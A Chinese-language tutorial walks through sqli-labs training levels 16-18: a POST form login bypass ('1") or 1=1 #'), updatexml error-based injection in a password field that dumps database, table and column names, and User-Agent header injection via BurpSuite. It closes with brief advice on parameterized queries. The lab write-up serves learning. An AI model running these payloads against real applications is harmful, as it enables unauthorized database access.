SQLi-labs学习sql注入(五)
字数 1058 2025-09-01 11:26:03
SQL注入进阶教学:sqli-labs关卡16-18详解
环境准备
- 操作系统:Windows 7
- 部署工具:phpstudy2018
- 靶场环境:sqli-labs
第16关:POST请求注入与闭合方式
注入点确定
- 通过不断尝试确定注入点为
1")闭合 - 测试方法:使用单引号、双引号和小括号配合布尔盲注
关键发现
-
提交方式差异:
- 在Hacker Bar工具中直接提交可能无法正确处理特殊字符(如
+,#) - 通过页面表单提交会自动进行URL编码
- 建议优先使用页面表单进行测试
- 在Hacker Bar工具中直接提交可能无法正确处理特殊字符(如
-
POST请求格式:
- Content-Type:
application/x-www-form-urlencoded - 特点:
- 数据以键值对形式组织(
key=value) - 不同键值对用
&分隔 - 特殊字符会被URL编码(如空格→
+或%20,#→%23)
- 数据以键值对形式组织(
- Content-Type:
-
有效Payload:
uname=1") or 1=1 #&passwd=1&submit=Submit
第17关:密码字段报错注入
注入特点
- 用户名输入无效,正确用户名会返回"SUCCESSFULLY UPDATED YOUR PASSWORD"
- 注入点在密码字段
报错注入利用
-
测试单引号触发报错:
1' -
使用updatexml进行报错注入:
uname=admin&passwd=1' and updatexml(1,concat(0x7e,database(),0x7e),1)# //获取库名 uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)# //获取表名 uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)# //获取字段
第18关:User-Agent头部注入
注入背景
- PHP语句:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; $uagent来自$_SERVER获取的User-Agent字段
关键知识点
-
反引号作用:
- MySQL特性,用于区分关键字和标识符
- 例如
order是关键字,但`order`会被识别为表名
-
注入步骤:
- 使用BurpSuite抓包
- 修改User-Agent字段进行测试
- 单引号测试触发报错,双引号闭合成功
-
常见错误:
- 直接设置User-Agent为
updatexml(...)无效 - 原因:会被当作字符串而非函数执行
- 直接设置User-Agent为
-
正确Payload:
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1- 需要手动闭合前后的单引号
工具使用技巧
-
BurpSuite:
- 抓取合法请求包
- 发送到Repeater模块修改测试
- 观察报错信息判断闭合方式
-
Hacker Bar:
- 注意表单提交与工具直接提交的区别
- 特殊字符处理方式不同
防御措施理解
- 反引号的使用是防御SQL注入的一种方式
- 但参数未过滤仍会导致注入风险
- 完整防御应结合预处理语句和参数化查询
总结
这三关展示了不同场景下的SQL注入技术:
- POST表单注入及闭合方式
- 密码字段的报错注入
- HTTP头部的User-Agent注入
关键点在于理解不同场景下的闭合方式,以及如何构造有效的Payload绕过限制获取数据。